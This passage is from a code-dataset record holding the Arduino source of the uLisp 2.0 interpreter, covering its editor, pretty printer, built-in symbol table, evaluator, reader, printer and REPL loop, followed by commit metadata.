(tstflag(EXITEDITOR)) return fun;\n char c = gserial();\n if (c == 'q') setflag(EXITEDITOR);\n else if (c == 'b') return fun;\n else if (c == 'r') fun = read(gserial);\n else if (c == '\\n') { pfl(pserial); superprint(fun, 0, pserial); pln(pserial); }\n else if (c == 'c') fun = cons(read(gserial), fun);\n else if (atom(fun)) pserial('!');\n else if (c == 'd') fun = cons(car(fun), edit(cdr(fun)));\n else if (c == 'a') fun = cons(edit(car(fun)), cdr(fun));\n else if (c == 'x') fun = cdr(fun);\n else pserial('?');\n }\n}\n\n\/\/ Pretty printer\n\nconst int PPINDENT = 2;\nconst int PPWIDTH = 80;\n\nint atomwidth (object *obj) {\n if (obj == NULL) return 3;\n if (numberp(obj)) {\n int w = 1;\n int n = obj->integer;\n if (n < 0) { n = -n; w++; }\n while (n >= 10) { n = n\/10; w++; }\n return w;\n }\n if (stringp(obj)) return stringlength(obj);\n if (characterp(obj)) return 3; \/\/ Interim solution\n int w = 0;\n char *s = name(obj);\n while (*s++) w++;\n return w;\n}\n\nboolean quoted (object *obj) {\n return (consp(obj) && (car(obj)->name == QUOTE) && consp(cdr(obj)) && (cddr(obj) == NULL));\n}\n\nint subwidth (object *obj, int w) {\n if (atom(obj)) return w - atomwidth(obj);\n if (quoted(obj)) return subwidthlist(car(cdr(obj)), w - 1);\n return subwidthlist(obj, w - 1);\n}\n\nint subwidthlist (object *form, int w) {\n while (form != NULL && w >= 0) {\n if (atom(form)) return w - (2 + atomwidth(form));\n w = subwidth(car(form), w - 1);\n form = cdr(form);\n }\n return w;\n}\n\nvoid superprint (object *form, int lm, pfun_t pfun) {\n if (atom(form)) printobject(form, pfun);\n else if (quoted(form)) { pfun('\\''); superprint(car(cdr(form)), lm + 1, pfun); }\n else if (subwidth(form, PPWIDTH - lm) >= 0) supersub(form, lm + PPINDENT, 0, pfun);\n else supersub(form, lm + PPINDENT, 1, pfun);\n}\n\nconst int ppspecials = 12;\nconst char ppspecial[ppspecials] PROGMEM = { IF, SETQ, TEE, LET, LETSTAR, LAMBDA, WHEN, UNLESS, WITHI2C, WITHSERIAL, WITHSPI, WITHSDCARD };\n\nvoid supersub (object *form, int lm, int super, pfun_t pfun) {\n int special = 0, separate = 1;\n object *arg = car(form);\n if (symbolp(arg)) {\n int name = arg->name;\n if (name == DEFUN) special = 2;\n else for (int i=0; i<ppspecials; i++) {\n if (name == pgm_read_byte(&ppspecial[i])) { special = 1; break; } \n } \n }\n while (form != NULL) {\n if (atom(form)) { pfstring(PSTR(\" . \"), pfun); printobject(form, pfun); pfun(')'); return; }\n else if (separate) { pfun('('); separate = 0; }\n else if (special) { pfun(' '); special--; }\n else if (!super) pfun(' ');\n else { pln(pfun); indent(lm, pfun); }\n superprint(car(form), lm, pfun);\n form = cdr(form); \n }\n pfun(')'); return;\n}\n\nobject *fn_pprint (object *args, object *env) {\n (void) env;\n object *obj = first(args);\n pfun_t pfun = pstreamfun(cdr(args));\n pln(pfun);\n superprint(obj, 0, pfun);\n return symbol(NOTHING);\n}\n\n\/\/ Insert your own function definitions here\n\n\/\/ Built-in procedure names - stored in PROGMEM\n\nconst char string0[] PROGMEM = \"symbols\";\nconst char string1[] PROGMEM = \"nil\";\nconst char string2[] PROGMEM = \"t\";\nconst char string3[] PROGMEM = \"nothing\";\nconst char string4[] PROGMEM = \"&rest\";\nconst char string5[] PROGMEM = \"lambda\";\nconst char string6[] PROGMEM = \"let\";\nconst char string7[] PROGMEM = \"let*\";\nconst char string8[] PROGMEM = \"closure\";\nconst char string9[] PROGMEM = \"special_forms\";\nconst char string10[] PROGMEM = \"quote\";\nconst char string11[] PROGMEM = \"defun\";\nconst char string12[] PROGMEM = \"defvar\";\nconst char string13[] PROGMEM = \"setq\";\nconst char string14[] PROGMEM = \"loop\";\nconst char string15[] PROGMEM = \"push\";\nconst char string16[] PROGMEM = \"pop\";\nconst char string17[] PROGMEM = \"incf\";\nconst char string18[] PROGMEM = \"decf\";\nconst char string19[] PROGMEM = \"setf\";\nconst char string20[] PROGMEM = \"dolist\";\nconst char string21[] PROGMEM = \"dotimes\";\nconst char string22[] PROGMEM = \"trace\";\nconst char string23[] PROGMEM = \"untrace\";\nconst char string24[] PROGMEM = \"for-millis\";\nconst char string25[] PROGMEM = \"with-serial\";\nconst char string26[] PROGMEM = \"with-i2c\";\nconst char string27[] PROGMEM = \"with-spi\";\nconst char string28[] PROGMEM = \"with-sd-card\";\nconst char string29[] PROGMEM = \"tail_forms\";\nconst char string30[] PROGMEM = \"progn\";\nconst char string31[] PROGMEM = \"return\";\nconst char string32[] PROGMEM = \"if\";\nconst char string33[] PROGMEM = \"cond\";\nconst char string34[] PROGMEM = \"when\";\nconst char string35[] PROGMEM = \"unless\";\nconst char string36[] PROGMEM = \"and\";\nconst char string37[] PROGMEM = \"or\";\nconst char string38[] PROGMEM = \"functions\";\nconst char string39[] PROGMEM = \"not\";\nconst char string40[] PROGMEM = \"null\";\nconst char string41[] PROGMEM = \"cons\";\nconst char string42[] PROGMEM = \"atom\";\nconst char string43[] PROGMEM = \"listp\";\nconst char string44[] PROGMEM = \"consp\";\nconst char string45[] PROGMEM = \"numberp\";\nconst char string46[] PROGMEM = \"symbolp\";\nconst char string47[] PROGMEM = \"streamp\";\nconst char string48[] PROGMEM = \"eq\";\nconst char string49[] PROGMEM = \"car\";\nconst char string50[] PROGMEM = \"first\";\nconst char string51[] PROGMEM = \"cdr\";\nconst char string52[] PROGMEM = \"rest\";\nconst char string53[] PROGMEM = \"caar\";\nconst char string54[] PROGMEM = \"cadr\";\nconst char string55[] PROGMEM = \"second\";\nconst char string56[] PROGMEM = \"cdar\";\nconst char string57[] PROGMEM = \"cddr\";\nconst char string58[] PROGMEM = \"caaar\";\nconst char string59[] PROGMEM = \"caadr\";\nconst char string60[] PROGMEM = \"cadar\";\nconst char string61[] PROGMEM = \"caddr\";\nconst char string62[] PROGMEM = \"third\";\nconst char string63[] PROGMEM = \"cdaar\";\nconst char string64[] PROGMEM = \"cdadr\";\nconst char string65[] PROGMEM = \"cddar\";\nconst char string66[] PROGMEM = \"cdddr\";\nconst char string67[] PROGMEM = \"length\";\nconst char string68[] PROGMEM = \"list\";\nconst char string69[] PROGMEM = \"reverse\";\nconst char string70[] PROGMEM = \"nth\";\nconst char string71[] PROGMEM = \"assoc\";\nconst char string72[] PROGMEM = \"member\";\nconst char string73[] PROGMEM = \"apply\";\nconst char string74[] PROGMEM = \"funcall\";\nconst char string75[] PROGMEM = \"append\";\nconst char string76[] PROGMEM = \"mapc\";\nconst char string77[] PROGMEM = \"mapcar\";\nconst char string78[] PROGMEM = \"+\";\nconst char string79[] PROGMEM = \"-\";\nconst char string80[] PROGMEM = \"*\";\nconst char string81[] PROGMEM = \"\/\";\nconst char string82[] PROGMEM = \"mod\";\nconst char string83[] PROGMEM = \"1+\";\nconst char string84[] PROGMEM = \"1-\";\nconst char string85[] PROGMEM = \"abs\";\nconst char string86[] PROGMEM = \"random\";\nconst char string87[] PROGMEM = \"max\";\nconst char string88[] PROGMEM = \"min\";\nconst char string89[] PROGMEM = \"=\";\nconst char string90[] PROGMEM = \"<\";\nconst char string91[] PROGMEM = \"<=\";\nconst char string92[] PROGMEM = \">\";\nconst char string93[] PROGMEM = \">=\";\nconst char string94[] PROGMEM = \"\/=\";\nconst char string95[] PROGMEM = \"plusp\";\nconst char string96[] PROGMEM = \"minusp\";\nconst char string97[] PROGMEM = \"zerop\";\nconst char string98[] PROGMEM = \"oddp\";\nconst char string99[] PROGMEM = \"evenp\";\nconst char string100[] PROGMEM = \"char\";\nconst char string101[] PROGMEM = \"char-code\";\nconst char string102[] PROGMEM = \"code-char\";\nconst char string103[] PROGMEM = \"characterp\";\nconst char string104[] PROGMEM = \"stringp\";\nconst char string105[] PROGMEM = \"string=\";\nconst char string106[] PROGMEM = \"string<\";\nconst char string107[] PROGMEM = \"string>\";\nconst char string108[] PROGMEM = \"sort\";\nconst char string109[] PROGMEM = \"string\";\nconst char string110[] PROGMEM = \"concatenate\";\nconst char string111[] PROGMEM = \"subseq\";\nconst char string112[] PROGMEM = \"read-from-string\";\nconst char string113[] PROGMEM = \"princ-to-string\";\nconst char string114[] PROGMEM = \"prin1-to-string\";\nconst char string115[] PROGMEM = \"logand\";\nconst char string116[] PROGMEM = \"logior\";\nconst char string117[] PROGMEM = \"logxor\";\nconst char string118[] PROGMEM = \"lognot\";\nconst char string119[] PROGMEM = \"ash\";\nconst char string120[] PROGMEM = \"logbitp\";\nconst char string121[] PROGMEM = \"eval\";\nconst char string122[] PROGMEM = \"globals\";\nconst char string123[] PROGMEM = \"locals\";\nconst char string124[] PROGMEM = \"makunbound\";\nconst char string125[] PROGMEM = \"break\";\nconst char string126[] PROGMEM = \"read\";\nconst char string127[] PROGMEM = \"prin1\";\nconst char string128[] PROGMEM = \"print\";\nconst char string129[] PROGMEM = \"princ\";\nconst char string130[] PROGMEM = \"terpri\";\nconst char string131[] PROGMEM = \"read-byte\";\nconst char string132[] PROGMEM = \"read-line\";\nconst char string133[] PROGMEM = \"write-byte\";\nconst char string134[] PROGMEM = \"write-string\";\nconst char string135[] PROGMEM = \"write-line\";\nconst char string136[] PROGMEM = \"restart-i2c\";\nconst char string137[] PROGMEM = \"gc\";\nconst char string138[] PROGMEM = \"room\";\nconst char string139[] PROGMEM = \"save-image\";\nconst char string140[] PROGMEM = \"load-image\";\nconst char string141[] PROGMEM = \"cls\";\nconst char string142[] PROGMEM = \"pinmode\";\nconst char string143[] PROGMEM = \"digitalread\";\nconst char string144[] PROGMEM = \"digitalwrite\";\nconst char string145[] PROGMEM = \"analogread\";\nconst char string146[] PROGMEM = \"analogwrite\";\nconst char string147[] PROGMEM = \"delay\";\nconst char string148[] PROGMEM = \"millis\";\nconst char string149[] PROGMEM = \"note\";\nconst char string150[] PROGMEM = \"edit\";\nconst char string151[] PROGMEM = \"pprint\";\n\nconst tbl_entry_t lookup_table[] PROGMEM = {\n { string0, NULL, NIL, NIL },\n { string1, NULL, 0, 0 },\n { string2, NULL, 1, 0 },\n { string3, NULL, 1, 0 },\n { string4, NULL, 1, 0 },\n { string5, NULL, 0, 127 },\n { string6, NULL, 0, 127 },\n { string7, NULL, 0, 127 },\n { string8, NULL, 0, 127 },\n { string9, NULL, NIL, NIL },\n { string10, sp_quote, 1, 1 },\n { string11, sp_defun, 0, 127 },\n { string12, sp_defvar, 2, 2 },\n { string13, sp_setq, 2, 2 },\n { string14, sp_loop, 0, 127 },\n { string15, sp_push, 2, 2 },\n { string16, sp_pop, 1, 1 },\n { string17, sp_incf, 1, 2 },\n { string18, sp_decf, 1, 2 },\n { string19, sp_setf, 2, 2 },\n { string20, sp_dolist, 1, 127 },\n { string21, sp_dotimes, 1, 127 },\n { string22, sp_trace, 0, 1 },\n { string23, sp_untrace, 0, 1 },\n { string24, sp_formillis, 1, 127 },\n { string25, sp_withserial, 1, 127 },\n { string26, sp_withi2c, 1, 127 },\n { string27, sp_withspi, 1, 127 },\n { string28, sp_withsdcard, 2, 127 },\n { string29, NULL, NIL, NIL },\n { string30, tf_progn, 0, 127 },\n { string31, tf_return, 0, 127 },\n { string32, tf_if, 2, 3 },\n { string33, tf_cond, 0, 127 },\n { string34, tf_when, 1, 127 },\n { string35, tf_unless, 1, 127 },\n { string36, tf_and, 0, 127 },\n { string37, tf_or, 0, 127 },\n { string38, NULL, NIL, NIL },\n { string39, fn_not, 1, 1 },\n { string40, fn_not, 1, 1 },\n { string41, fn_cons, 2, 2 },\n { string42, fn_atom, 1, 1 },\n { string43, fn_listp, 1, 1 },\n { string44, fn_consp, 1, 1 },\n { string45, fn_numberp, 1, 1 },\n { string46, fn_symbolp, 1, 1 },\n { string47, fn_streamp, 1, 1 },\n { string48, fn_eq, 2, 2 },\n { string49, fn_car, 1, 1 },\n { string50, fn_car, 1, 1 },\n { string51, fn_cdr, 1, 1 },\n { string52, fn_cdr, 1, 1 },\n { string53, fn_caar, 1, 1 },\n { string54, fn_cadr, 1, 1 },\n { string55, fn_cadr, 1, 1 },\n { string56, fn_cdar, 1, 1 },\n { string57, fn_cddr, 1, 1 },\n { string58, fn_caaar, 1, 1 },\n { string59, fn_caadr, 1, 1 },\n { string60, fn_cadar, 1, 1 },\n { string61, fn_caddr, 1, 1 },\n { string62, fn_caddr, 1, 1 },\n { string63, fn_cdaar, 1, 1 },\n { string64, fn_cdadr, 1, 1 },\n { string65, fn_cddar, 1, 1 },\n { string66, fn_cdddr, 1, 1 },\n { string67, fn_length, 1, 1 },\n { string68, fn_list, 0, 127 },\n { string69, fn_reverse, 1, 1 },\n { string70, fn_nth, 2, 2 },\n { string71, fn_assoc, 2, 2 },\n { string72, fn_member, 2, 2 },\n { string73, fn_apply, 2, 127 },\n { string74, fn_funcall, 1, 127 },\n { string75, fn_append, 0, 127 },\n { string76, fn_mapc, 2, 3 },\n { string77, fn_mapcar, 2, 3 },\n { string78, fn_add, 0, 127 },\n { string79, fn_subtract, 1, 127 },\n { string80, fn_multiply, 0, 127 },\n { string81, fn_divide, 2, 127 },\n { string82, fn_mod, 2, 2 },\n { string83, fn_oneplus, 1, 1 },\n { string84, fn_oneminus, 1, 1 },\n { string85, fn_abs, 1, 1 },\n { string86, fn_random, 1, 1 },\n { string87, fn_max, 1, 127 },\n { string88, fn_min, 1, 127 },\n { string89, fn_numeq, 1, 127 },\n { string90, fn_less, 1, 127 },\n { string91, fn_lesseq, 1, 127 },\n { string92, fn_greater, 1, 127 },\n { string93, fn_greatereq, 1, 127 },\n { string94, fn_noteq, 1, 127 },\n { string95, fn_plusp, 1, 1 },\n { string96, fn_minusp, 1, 1 },\n { string97, fn_zerop, 1, 1 },\n { string98, fn_oddp, 1, 1 },\n { string99, fn_evenp, 1, 1 },\n { string100, fn_char, 2, 2 },\n { string101, fn_charcode, 1, 1 },\n { string102, fn_codechar, 1, 1 },\n { string103, fn_characterp, 1, 1 },\n { string104, fn_stringp, 1, 1 },\n { string105, fn_stringeq, 2, 2 },\n { string106, fn_stringless, 2, 2 },\n { string107, fn_stringgreater, 2, 2 },\n { string108, fn_sort, 2, 2 },\n { string109, fn_stringfn, 1, 1 },\n { string110, fn_concatenate, 1, 127 },\n { string111, fn_subseq, 2, 3 },\n { string112, fn_readfromstring, 1, 1 },\n { string113, fn_princtostring, 1, 1 },\n { string114, fn_prin1tostring, 1, 1 },\n { string115, fn_logand, 0, 127 },\n { string116, fn_logior, 0, 127 },\n { string117, fn_logxor, 0, 127 },\n { string118, fn_lognot, 1, 1 },\n { string119, fn_ash, 2, 2 },\n { string120, fn_logbitp, 2, 2 },\n { string121, fn_eval, 1, 1 },\n { string122, fn_globals, 0, 0 },\n { string123, fn_locals, 0, 0 },\n { string124, fn_makunbound, 1, 1 },\n { string125, fn_break, 0, 0 },\n { string126, fn_read, 0, 1 },\n { string127, fn_prin1, 1, 2 },\n { string128, fn_print, 1, 2 },\n { string129, fn_princ, 1, 2 },\n { string130, fn_terpri, 0, 1 },\n { string131, fn_readbyte, 0, 2 },\n { string132, fn_readline, 0, 1 },\n { string133, fn_writebyte, 1, 2 },\n { string134, fn_writestring, 1, 2 },\n { string135, fn_writeline, 1, 2 },\n { string136, fn_restarti2c, 1, 2 },\n { string137, fn_gc, 0, 0 },\n { string138, fn_room, 0, 0 },\n { string139, fn_saveimage, 0, 1 },\n { string140, fn_loadimage, 0, 1 },\n { string141, fn_cls, 0, 0 },\n { string142, fn_pinmode, 2, 2 },\n { string143, fn_digitalread, 1, 1 },\n { string144, fn_digitalwrite, 2, 2 },\n { string145, fn_analogread, 1, 1 },\n { string146, fn_analogwrite, 2, 2 },\n { string147, fn_delay, 1, 1 },\n { string148, fn_millis, 0, 0 },\n { string149, fn_note, 0, 3 },\n { string150, fn_edit, 1, 1 },\n { string151, fn_pprint, 1, 2 },\n};\n\n\/\/ Table lookup functions\n\nint builtin (char* n) {\n int entry = 0;\n while (entry < ENDFUNCTIONS) {\n if(strcmp_P(n, (char*)pgm_read_word(&lookup_table[entry].string)) == 0)\n return entry;\n entry++;\n }\n return ENDFUNCTIONS;\n}\n\nint longsymbol (char *buffer) {\n char *p = SymbolTable;\n int i = 0;\n while (strcmp(p, buffer) != 0) {p = p + strlen(p) + 1; i++; }\n if (p == buffer) {\n \/\/ Add to symbol table?\n char *newtop = SymbolTop + strlen(p) + 1;\n if (SYMBOLTABLESIZE - (newtop - SymbolTable) < BUFFERSIZE) error(PSTR(\"No room for long symbols\"));\n SymbolTop = newtop;\n }\n if (i > 1535) error(PSTR(\"Too many long symbols\"));\n return i + 64000; \/\/ First number unused by radix40\n}\n\nint lookupfn (symbol_t name) {\n return pgm_read_word(&lookup_table[name].fptr);\n}\n\nuint8_t lookupmin (symbol_t name) {\n return pgm_read_byte(&lookup_table[name].min);\n}\n\nuint8_t lookupmax (symbol_t name) {\n return pgm_read_byte(&lookup_table[name].max);\n}\n\nchar *lookupbuiltin (symbol_t name) {\n char *buffer = SymbolTop;\n strcpy_P(buffer, (char *)(pgm_read_word(&lookup_table[name].string)));\n return buffer;\n}\n\nchar *lookupsymbol (symbol_t name) {\n char *p = SymbolTable;\n int i = name - 64000;\n while (i > 0 && p < SymbolTop) {p = p + strlen(p) + 1; i--; }\n if (p == SymbolTop) return NULL; else return p;\n}\n\nvoid deletesymbol (symbol_t name) {\n char *p = lookupsymbol(name);\n if (p == NULL) return;\n char *q = p + strlen(p) + 1;\n *p = '\\0'; p++;\n while (q < SymbolTop) *(p++) = *(q++);\n SymbolTop = p;\n}\n\nvoid testescape () {\n if (Serial.read() == '~') error(PSTR(\"Escape!\"));\n}\n\n\/\/ Main evaluator\n\nuint8_t End;\n\nobject *eval (object *form, object *env) {\n int TC=0;\n EVAL:\n \/\/ Enough space?\n if (Freespace < 20) gc(form, env);\n if (End != 0xA5) error(PSTR(\"Stack overflow\"));\n \/\/ Escape\n if (tstflag(ESCAPE)) { clrflag(ESCAPE); error(PSTR(\"Escape!\"));}\n #if defined (serialmonitor)\n testescape();\n #endif \n \n if (form == NULL) return nil;\n\n if (numberp(form) || characterp(form) || stringp(form)) return form;\n\n if (symbolp(form)) {\n symbol_t name = form->name;\n if (name == NIL) return nil;\n object *pair = value(name, env);\n if (pair != NULL) return cdr(pair);\n pair = value(name, GlobalEnv);\n if (pair != NULL) return cdr(pair);\n else if (name <= ENDFUNCTIONS) return form;\n error2(form, PSTR(\"undefined\"));\n }\n \n \/\/ It's a list\n object *function = car(form);\n object *args = cdr(form);\n if (!listp(args)) error(PSTR(\"Can't evaluate a dotted pair\"));\n\n \/\/ List starts with a symbol?\n if (symbolp(function)) {\n symbol_t name = function->name;\n\n if ((name == LET) || (name == LETSTAR)) {\n int TCstart = TC;\n object *assigns = first(args);\n object *forms = cdr(args);\n object *newenv = env;\n push(newenv, GCStack);\n while (assigns != NULL) {\n object *assign = car(assigns);\n if (consp(assign)) push(cons(first(assign),eval(second(assign),env)), newenv);\n else push(cons(assign,nil), newenv);\n car(GCStack) = newenv;\n if (name == LETSTAR) env = newenv;\n assigns = cdr(assigns);\n }\n env = newenv;\n pop(GCStack);\n form = tf_progn(forms,env);\n TC = TCstart;\n goto EVAL;\n }\n\n if (name == LAMBDA) {\n if (env == NULL) return form;\n object *envcopy = NULL;\n while (env != NULL) {\n object *pair = first(env);\n if (pair != NULL) {\n object *val = cdr(pair);\n if (numberp(val)) val = number(val->integer);\n push(cons(car(pair), val), envcopy);\n }\n env = cdr(env);\n }\n return cons(symbol(CLOSURE), cons(envcopy,args));\n }\n \n if ((name > SPECIAL_FORMS) && (name < TAIL_FORMS)) {\n return ((fn_ptr_type)lookupfn(name))(args, env);\n }\n\n if ((name > TAIL_FORMS) && (name < FUNCTIONS)) {\n form = ((fn_ptr_type)lookupfn(name))(args, env);\n TC = 1;\n goto EVAL;\n }\n }\n \n \/\/ Evaluate the parameters - result in head\n object *fname = car(form);\n int TCstart = TC;\n object *head = cons(eval(car(form), env), NULL);\n push(head, GCStack); \/\/ Don't GC the result list\n object *tail = head;\n form = cdr(form);\n int nargs = 0;\n\n while (form != NULL){\n object *obj = cons(eval(car(form),env),NULL);\n cdr(tail) = obj;\n tail = obj;\n form = cdr(form);\n nargs++;\n }\n \n function = car(head);\n args = cdr(head);\n \n if (symbolp(function)) {\n symbol_t name = function->name;\n if (name >= ENDFUNCTIONS) error2(fname, PSTR(\"is not valid here\"));\n if (nargs<lookupmin(name)) error2(fname, PSTR(\"has too few arguments\"));\n if (nargs>lookupmax(name)) error2(fname, PSTR(\"has too many arguments\"));\n object *result = ((fn_ptr_type)lookupfn(name))(args, env);\n pop(GCStack);\n return result;\n }\n \n if (listp(function) && issymbol(car(function), LAMBDA)) {\n dropframe(TCstart, &env);\n form = closure(fname, NULL, cdr(function), args, &env);\n pop(GCStack);\n int trace = tracing(fname->name);\n if (trace) {\n object *result = eval(form, env);\n indent((--(TraceDepth[trace-1]))<<1, pserial);\n pint(TraceDepth[trace-1], pserial);\n pserial(':'); pserial(' ');\n printobject(fname, pserial); pfstring(PSTR(\" returned \"), pserial);\n printobject(result, pserial); pln(pserial);\n return result;\n } else {\n TC = 1;\n goto EVAL;\n }\n }\n\n if (listp(function) && issymbol(car(function), CLOSURE)) {\n function = cdr(function);\n dropframe(TCstart, &env);\n form = closure(fname, car(function), cdr(function), args, &env);\n pop(GCStack);\n TC = 1;\n goto EVAL;\n } \n \n error2(fname, PSTR(\"is an illegal function\")); return nil;\n}\n\n\/\/ Print functions\n\nvoid pserial (char c) {\n LastPrint = c;\n if (c == '\\n') Serial.write('\\r');\n Serial.write(c);\n}\n\nconst char ControlCodes[] PROGMEM = \"Null\\0SOH\\0STX\\0ETX\\0EOT\\0ENQ\\0ACK\\0Bell\\0Backspace\\0Tab\\0Newline\\0VT\\0\"\n\"Page\\0Return\\0SO\\0SI\\0DLE\\0DC1\\0DC2\\0DC3\\0DC4\\0NAK\\0SYN\\0ETB\\0CAN\\0EM\\0SUB\\0Escape\\0FS\\0GS\\0RS\\0US\\0Space\\0\";\n\nvoid pcharacter (char c, pfun_t pfun) {\n if (!PrintReadably) pfun(c);\n else {\n pfun('#'); pfun('\\\\');\n if (c > 32) pfun(c);\n else {\n PGM_P p = ControlCodes;\n while (c > 0) {p = p + strlen_P(p) + 1; c--; }\n pfstring(p, pfun);\n }\n }\n}\n\nvoid pstring (char *s, pfun_t pfun) {\n while (*s) pfun(*s++);\n}\n\nvoid printstring (object *form, pfun_t pfun) {\n if (PrintReadably) pfun('\"');\n form = cdr(form);\n while (form != NULL) {\n int chars = form->integer;\n for (int i=(sizeof(int)-1)*8; i>=0; i=i-8) {\n char ch = chars>>i & 0xFF;\n if (PrintReadably && (ch == '\"' || ch == '\\\\')) pfun('\\\\');\n if (ch) pfun(ch);\n }\n form = car(form);\n }\n if (PrintReadably) pfun('\"');\n}\n\nvoid pfstring (PGM_P s, pfun_t pfun) {\n int p = (int)s;\n while (1) {\n char c = pgm_read_byte(p++);\n if (c == 0) return;\n pfun(c);\n }\n}\n\nvoid pint (int i, pfun_t pfun) {\n int lead = 0;\n #if INT_MAX == 32767\n int p = 10000;\n #else\n int p = 1000000000;\n #endif\n if (i<0) pfun('-');\n for (int d=p; d>0; d=d\/10) {\n int j = i\/d;\n if (j!=0 || lead || d==1) { pfun(abs(j)+'0'); lead=1;}\n i = i - j*d;\n }\n}\n\ninline void pln (pfun_t pfun) {\n pfun('\\n');\n}\n\nvoid pfl (pfun_t pfun) {\n if (LastPrint != '\\n') pfun('\\n');\n}\n\nvoid printobject(object *form, pfun_t pfun){\n if (form == NULL) pfstring(PSTR(\"nil\"), pfun);\n else if (listp(form) && issymbol(car(form), CLOSURE)) pfstring(PSTR(\"<closure>\"), pfun);\n else if (listp(form)) {\n pfun('(');\n printobject(car(form), pfun);\n form = cdr(form);\n while (form != NULL && listp(form)) {\n pfun(' ');\n printobject(car(form), pfun);\n form = cdr(form);\n }\n if (form != NULL) {\n pfstring(PSTR(\" . \"), pfun);\n printobject(form, pfun);\n }\n pfun(')');\n } else if (numberp(form)) {\n pint(integer(form), pfun);\n } else if (symbolp(form)) {\n if (form->name != NOTHING) pstring(name(form), pfun);\n } else if (characterp(form)) {\n pcharacter(form->integer, pfun);\n } else if (stringp(form)) {\n printstring(form, pfun);\n } else if (streamp(form)) {\n pfstring(PSTR(\"<\"), pfun);\n if ((form->integer)>>8 == SPISTREAM) pfstring(PSTR(\"spi\"), pfun);\n else if ((form->integer)>>8 == I2CSTREAM) pfstring(PSTR(\"i2c\"), pfun);\n else if ((form->integer)>>8 == SDSTREAM) pfstring(PSTR(\"sd\"), pfun);\n else pfstring(PSTR(\"serial\"), pfun);\n pfstring(PSTR(\"-stream \"), pfun);\n pint(form->integer & 0xFF, pfun);\n pfun('>');\n } else\n error(PSTR(\"Error in print.\"));\n}\n\n\/\/ Read functions\n\nint gserial () {\n if (LastChar) { \n char temp = LastChar;\n LastChar = 0;\n return temp;\n }\n while (!Serial.available());\n char temp = Serial.read();\n if (temp != '\\n') pserial(temp);\n return temp;\n}\n\nobject *nextitem (gfun_t gfun) {\n int ch = gfun();\n while(isspace(ch)) ch = gfun();\n\n if (ch == ';') {\n while(ch != '(') ch = gfun();\n ch = '(';\n }\n if (ch == '\\n') ch = gfun();\n if (ch == EOF) return nil;\n if (ch == ')') return (object *)KET;\n if (ch == '(') return (object *)BRA;\n if (ch == '\\'') return (object *)QUO;\n if (ch == '.') return (object *)DOT;\n\n \/\/ Parse string\n if (ch == '\"') return readstring('\"', gfun);\n \n \/\/ Parse variable, character, or number\n int index = 0, base = 10, sign = 1;\n char *buffer = SymbolTop;\n int bufmax = SYMBOLTABLESIZE-(buffer-SymbolTable)-1; \/\/ Max index\n unsigned int result = 0;\n if (ch == '+') {\n buffer[index++] = ch;\n ch = gfun();\n } else if (ch == '-') {\n sign = -1;\n buffer[index++] = ch;\n ch = gfun();\n } else if (ch == '#') {\n ch = gfun() & ~0x20;\n if (ch == '\\\\') base = 0; \/\/ character\n else if (ch == 'B') base = 2;\n else if (ch == 'O') base = 8;\n else if (ch == 'X') base = 16;\n else error(PSTR(\"Illegal character after #\"));\n ch = gfun();\n }\n int isnumber = (digitvalue(ch)<base);\n buffer[2] = '\\0'; \/\/ In case variable is one letter\n\n while(!isspace(ch) && ch != ')' && ch != '(' && index < bufmax) {\n buffer[index++] = ch;\n int temp = digitvalue(ch);\n result = result * base + temp;\n isnumber = isnumber && (digitvalue(ch)<base);\n ch = gfun();\n }\n\n buffer[index] = '\\0';\n if (ch == ')') LastChar = ')';\n if (ch == '(') LastChar = '(';\n\n if (isnumber) {\n if (base == 10 && result > ((unsigned int)INT_MAX+(1-sign)\/2)) \n error(PSTR(\"Number out of range\"));\n return number(result*sign);\n } else if (base == 0) {\n if (index == 1) return character(buffer[0]);\n PGM_P p = ControlCodes; char c = 0;\n while (c < 33) {\n if (strcasecmp_P(buffer, p) == 0) return character(c);\n p = p + strlen_P(p) + 1; c++;\n }\n error(PSTR(\"Unknown character\"));\n }\n \n int x = builtin(buffer);\n if (x == NIL) return nil;\n if (x < ENDFUNCTIONS) return symbol(x);\n else if (index < 4 && valid40(buffer)) return symbol(pack40(buffer));\n else return symbol(longsymbol(buffer));\n}\n\nobject *readrest (gfun_t gfun) {\n object *item = nextitem(gfun);\n object *head = NULL;\n object *tail = NULL;\n\n while (item != (object *)KET) {\n if (item == (object *)BRA) {\n item = readrest(gfun);\n } else if (item == (object *)QUO) {\n item = cons(symbol(QUOTE), cons(read(gfun), NULL));\n } else if (item == (object *)DOT) {\n tail->cdr = read(gfun);\n if (readrest(gfun) != NULL) error(PSTR(\"Malformed list\"));\n return head;\n } else {\n object *cell = cons(item, NULL);\n if (head == NULL) head = cell;\n else tail->cdr = cell;\n tail = cell;\n item = nextitem(gfun);\n }\n }\n return head;\n}\n\nobject *read (gfun_t gfun) {\n object *item = nextitem(gfun);\n if (item == (object *)KET) error(PSTR(\"Incomplete list\"));\n if (item == (object *)BRA) return readrest(gfun);\n if (item == (object *)DOT) return read(gfun);\n if (item == (object *)QUO) return cons(symbol(QUOTE), cons(read(gfun), NULL)); \n return item;\n}\n\n\/\/ Setup\n\nvoid initenv() {\n GlobalEnv = NULL;\n tee = symbol(TEE);\n}\n\nvoid setup() {\n Serial.begin(9600);\n while (!Serial); \/\/ wait for Serial to initialize\n initworkspace();\n initenv();\n pfstring(PSTR(\"uLisp 2.0 \"), pserial); pln(pserial);\n}\n\n\/\/ Read\/Evaluate\/Print loop\n\nvoid repl (object *env) {\n for (;;) {\n randomSeed(micros());\n gc(NULL, env);\n #if defined (printfreespace)\n pint(Freespace, pserial);\n #endif\n if (BreakLevel) {\n pfstring(PSTR(\" : \"), pserial);\n pint(BreakLevel, pserial);\n }\n pfstring(PSTR(\"> \"), pserial);\n object *line = read(gserial);\n if (BreakLevel && line == nil) { pln(pserial); return; }\n if (line == (object *)KET) error(PSTR(\"Unmatched right bracket\"));\n push(line, GCStack);\n pfl(pserial);\n line = eval(line, env);\n pfl(pserial);\n printobject(line, pserial);\n pop(GCStack);\n pfl(pserial);\n pln(pserial);\n }\n}\n\nvoid loop () {\n if (!setjmp(exception)) {\n #if defined(resetautorun)\n autorunimage();\n #endif\n }\n \/\/ Come here after error\n End = 0xA5; \/\/ Canary to check stack\n for (int i=0; i<TRACEMAX; i++) TraceDepth[i] = 0;\n #if defined(sdcardsupport)\n SDpfile.close(); SDgfile.close();\n #endif\n repl(NULL);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Lisp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e3663b86e0dfbf6e7a4f11270f98e7e5eb9248f9","subject":"we are now working with real endstops","message":"we are now working with real 